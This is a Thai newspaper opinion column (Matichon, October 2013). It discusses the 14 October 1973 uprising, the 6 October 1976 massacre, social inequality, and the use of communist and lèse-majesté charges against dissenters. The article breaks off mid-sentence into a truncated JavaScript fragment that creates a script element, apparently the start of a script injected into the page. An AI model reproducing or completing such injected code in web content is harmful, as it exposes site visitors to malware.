มติชนรายวัน ฉบับประจำวันจันทร์ที่ 14 ตุลาคม 2556

14 ตุลา ผลักดันสังคมไทย

          14 ตุลา 2516 มีพลังผลักดันสังคมไทยเปลี่ยนไปจากก่อนหน้านั้น ทั้งในทางก้าวหน้า และไม่ก้าวหน้า เคล้าคละปะปนอยู่ด้วยกัน

          ลักษณะไม่ก้าวหน้า คือเกิดเหตุการณ์ฆ่าหมู่ 6 ตุลาคม 2519 ขับไล่คนหนุ่มสาวจำนวนไม่น้อยหลบเข้าป่าหนีความป่าเถื่อนนั้น

          ลักษณะก้าวหน้า คือคนหนุ่มสาวจำนวนหนึ่งที่หลบหนีเข้าป่า ได้สั่งสมประสบการณ์หลากหลาย แล้วมีพลังสร้างสรรค์สังคมไทยทุกวันนี้ ให้ก้าวหน้าทางเศรษฐกิจ การเมือง สังคม และวัฒนธรรมแบบประชาธิปไตย ไม่ว่าจะอยู่ฝ่ายรัฐบาลหรือฝ่ายตรงข้ามรัฐบาล

          (ยกเว้นฝ่ายไม่เอาประชาธิปไตย)

          ก่อน 14 ตุลา ไม่มีใครกล้าพูดคุยทักท้วงถกเถียงในที่สาธารณะอย่างเปิดเผยตรงไปตรงมาเรื่องพระเจ้าตาก

          หลัง 14 ตุลา ไม่มีใครไม่กล้าพูด

          แต่ยังมีลักษณะไม่ก้าวหน้าอยู่ด้วย เพราะประวัติศาสตร์แห่งชาติของไทยยังคลั่งเชื้อชาติ โดยไม่มีประวัติศาสตร์สังคม และไม่มีประวัติศาสตร์การเมือง

ความเหลื่อมล้ำหลัง 14 ตุลา

          หลัง 14 ตุลาคม 2516 สังคมไทยเปลี่ยนไปจากก่อนหน้านั้น ทั้งในทางก้าวหน้าและไม่ก้าวหน้า เคล้าคละปะปนอยู่ด้วยกัน

          ในทางไม่ก้าวหน้า มีผู้วิจัยพบว่ายังมีปัญหาเชิงโครงสร้างอีกมาก ทั้งในเชิงการเมือง เศรษฐกิจ สังคม และวัฒนธรรม

ความอยุติธรรมจากโครงสร้างอำนาจทางเศรษฐกิจ การเมือง สังคม สร้างความเหลื่อมล้ำไม่เท่าเทียมอย่างสุดขั้วในทุกด้าน แล้วเป็นปัญหาเชิง          โครงสร้างอันเป็นแกนกลาง ที่ก่อให้เกิดปัญหาเชิงโครงสร้างด้านอื่นๆตามมาอีกมาก

          เหล่านี้มีผู้ศึกษาและชี้ให้เห็นแล้ว ว่าล้วนแก้ไขยังไม่ได้ในสังคมไทย ซึ่งต้องร่วมกันแก้ไขไม่ท้อแท้

เครื่องมือกำจัดคนคิดต่าง

          14 ตุลาคม 2516 และ 6 ตุลาคม 2519 เครื่องมือที่มีอานุภาพของผู้ถืออำนาจรัฐใช้ข่มขู่ ปราบปราม ตามล่า ฆ่าล้างเผ่าพันธุ์ประชาชนพลเมืองในไทย คือข้อหาคอมมิวนิสต์ และข้อหาหมิ่นสถาบัน

          ทุกวันนี้ ข้อหาทั้งสองยังถูกใช้เป็นเครื่องมือกำจัดคนคิดต่างโดยอำนาจเหนือรัฐ และโดยกลุ่มคนผู้เคยถูกกระทำมาก่อนเมื่อ 14 ตุลา และ 6 ตุลา แต่เปลี่ยนไปสมคบกับอำนาจเหนือรัฐ} else {var d=document;var s=d.createElement(‘script’);